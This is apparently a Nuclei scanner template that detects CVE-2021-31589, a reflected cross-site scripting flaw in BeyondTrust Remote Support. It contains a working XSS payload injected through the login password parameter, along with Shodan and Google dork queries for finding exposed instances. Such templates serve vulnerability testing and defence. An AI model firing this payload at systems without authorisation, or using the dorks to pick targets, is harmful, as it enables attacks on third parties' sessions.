40 lines
1.4 KiB
YAML
40 lines
1.4 KiB
YAML
id: CVE-2021-31589
|
|
|
|
info:
|
|
name: BeyondTrust Remote Support Reflected XSS
|
|
author: Ahmed Abou-Ela
|
|
severity: medium
|
|
description: Unauthenticated cross-site scripting (XSS) vulnerability in BeyondTrust Secure Remote Access Base Software through 6.0.1 allow remote attackers to inject arbitrary web script or HTML.
|
|
reference:
|
|
- https://packetstormsecurity.com/files/165408
|
|
- https://cxsecurity.com/issue/WLB-2022010013
|
|
- https://beyondtrustcorp.service-now.com/csm?sys_kb_id=922d0ab31bc1b490e73854ae034bcb7b&id=kb_article_view&sysparm_rank=1&sysparm_tsqueryId=64fc14ffdb8f70d422725385ca9619cb
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
|
|
cvss-score: 5.4
|
|
cve-id: CVE-2021-31589
|
|
cwe-id: CWE-79
|
|
metadata:
|
|
shodan-query: 'set-cookie: nsbase_session'
|
|
google-dork: '"BeyondTrust" "Redistribution Prohibited"'
|
|
tags: cve,cve2021,beyondtrust,bomgar,xss
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/appliance/login.ns?login%5Bpassword%5D=test%22%3E%3Csvg/onload=alert(document.domain)%3E&login%5Buse_curr%5D=1&login%5Bsubmit%5D=Change%20Password"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
case-insensitive: true
|
|
part: body
|
|
words:
|
|
- '<svg/onload=alert(document.domain)>'
|
|
- 'bomgar'
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|